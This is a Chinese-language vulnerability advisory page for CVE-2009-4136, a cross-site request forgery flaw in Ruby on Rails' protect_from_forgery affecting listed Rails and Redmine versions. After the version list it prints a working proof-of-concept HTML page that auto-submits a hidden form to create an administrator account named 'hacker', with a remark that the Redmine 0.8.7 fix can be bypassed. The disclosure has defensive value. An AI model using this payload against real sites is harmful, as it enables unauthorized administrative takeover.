Ruby on Rails 'protect_from_forgery'跨站脚本请求伪造漏洞

2009-12-1700:00:00

Root

www.seebug.org

0.027 Low

EPSS

Percentile

89.4%

JSON

Bugraq ID: 37322
CVE ID：CVE-2009-4136

Ruby on Rails是一款Web应用程序框架，构建在Ruby语言之上。
Ruby on Rails 'protect_from_forgery’存在跨站请求伪造攻击，远程攻击者可以利用漏洞执行部分管理员操作，获得对应用程序的未授权访问或删除部分数据。

Ruby on Rails Ruby on Rails 2.3.5
Ruby on Rails Ruby on Rails 2.3.4
Ruby on Rails Ruby on Rails 2.3.3
Ruby on Rails Ruby on Rails 2.3.2
Ruby on Rails Ruby on Rails 2.2.3
Ruby on Rails Ruby on Rails 2.2.2
Ruby on Rails Ruby on Rails 2.1.1
Ruby on Rails Ruby on Rails 2.1
Ruby on Rails Ruby on Rails 2.0.5
Ruby on Rails Ruby on Rails 2.0.4
Ruby on Rails Ruby on Rails 2.0
Ruby on Rails Ruby on Rails 1.2.6
Ruby on Rails Ruby on Rails 1.2.5
Ruby on Rails Ruby on Rails 1.2.3
Ruby on Rails Ruby on Rails 1.1.6
Ruby on Rails Ruby on Rails 1.1.5
Ruby on Rails Ruby on Rails 1.1.4
Ruby on Rails Ruby on Rails 1.1.3
Ruby on Rails Ruby on Rails 1.1.2
Ruby on Rails Ruby on Rails 1.1.1
Ruby on Rails Ruby on Rails 1.1
Ruby on Rails Ruby on Rails 1.0
Ruby on Rails Ruby on Rails 0.14
Ruby on Rails Ruby on Rails 0.13
Redmine Redmine 0.8.7
Redmine Redmine 0.8.6
Redmine Redmine 0.8.5
Redmine Redmine 0.7.3
Redmine Redmine 0.7.2
目前没有详细解决方案提供：
http://www.rubyonrails.com/
http://www.redmine.org/


                                                /**
*  Redmine &amp;lt;= 0.8.6 CSRF Add Admin User Exploit
*  Discovered by: p0deje (http://p0deje.blogspot.com)
*  Application: http://www.redmine.org/wiki/redmine/Download
*  SA: http://www.redmine.org/news/30
*  Date: 13.11.2009
*  Versions affected: &amp;lt;= 0.8.6
*  Description: this is a simple exploit which exploits CSRF vulnerability in Redmine, it creates user account with adminstartive rights
*/
 
&amp;lt;html&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;form method=POST action=&amp;quot;http://www.example.com/users/new&amp;quot;&amp;gt;
       &amp;lt;input style=&amp;quot;display: none&amp;quot; type=&amp;quot;text&amp;quot; value=&amp;quot;hacker&amp;quot; size=&amp;quot;25&amp;quot; name=&amp;quot;user[login]&amp;quot; id=&amp;quot;user_login&amp;quot;/&amp;gt;
       &amp;lt;input style=&amp;quot;display: none&amp;quot; type=&amp;quot;text&amp;quot; value=&amp;quot;hacker&amp;quot; size=&amp;quot;30&amp;quot; name=&amp;quot;user[firstname]&amp;quot; id=&amp;quot;user_firstname&amp;quot;/&amp;gt;
       &amp;lt;input style=&amp;quot;display: none&amp;quot; type=&amp;quot;text&amp;quot; value=&amp;quot;hacker&amp;quot; size=&amp;quot;30&amp;quot; name=&amp;quot;user[lastname]&amp;quot; id=&amp;quot;user_lastname&amp;quot;/&amp;gt;
       &amp;lt;input style=&amp;quot;display: none&amp;quot; type=&amp;quot;text&amp;quot; value=&amp;quot;[email protected]&amp;quot; size=&amp;quot;30&amp;quot; name=&amp;quot;user[mail]&amp;quot; id=&amp;quot;user_mail&amp;quot;/&amp;gt;
       &amp;lt;input style=&amp;quot;display: none&amp;quot; type=&amp;quot;password&amp;quot; size=&amp;quot;25&amp;quot; name=&amp;quot;password&amp;quot; id=&amp;quot;password&amp;quot; value=&amp;quot;hacker&amp;quot; /&amp;gt;
       &amp;lt;input style=&amp;quot;display: none&amp;quot; type=&amp;quot;password&amp;quot; size=&amp;quot;25&amp;quot; name=&amp;quot;password_confirmation&amp;quot; id=&amp;quot;password_confirmation&amp;quot; value=&amp;quot;hacker&amp;quot; /&amp;gt;
       &amp;lt;input style=&amp;quot;display: none&amp;quot; type=&amp;quot;checkbox&amp;quot; value=&amp;quot;1&amp;quot; name=&amp;quot;user[admin]&amp;quot; id=&amp;quot;user_admin&amp;quot;/&amp;gt;
       &amp;lt;input style=&amp;quot;display: none&amp;quot; type=&amp;quot;hidden&amp;quot; value=&amp;quot;1&amp;quot; name=&amp;quot;user[admin]&amp;quot;/&amp;gt;
       &amp;lt;input style=&amp;quot;display: none&amp;quot; type=&amp;quot;submit&amp;quot; value=&amp;quot;Create&amp;quot; id=&amp;quot;commit&amp;quot; name=&amp;quot;commit&amp;quot; /&amp;gt;
  &amp;lt;/form&amp;gt;
  &amp;lt;script&amp;gt;document.getElementById(&amp;quot;commit&amp;quot;).click();&amp;lt;/script&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
 
/**
*  P.S. Actually, this vulnerability wasn&amp;#039;t fixed in Redmine 0.8.7, because token was generated one time for all the pages and allthe users.
*  Thus, you can add POST data with token of any user and exploit will be working again
*/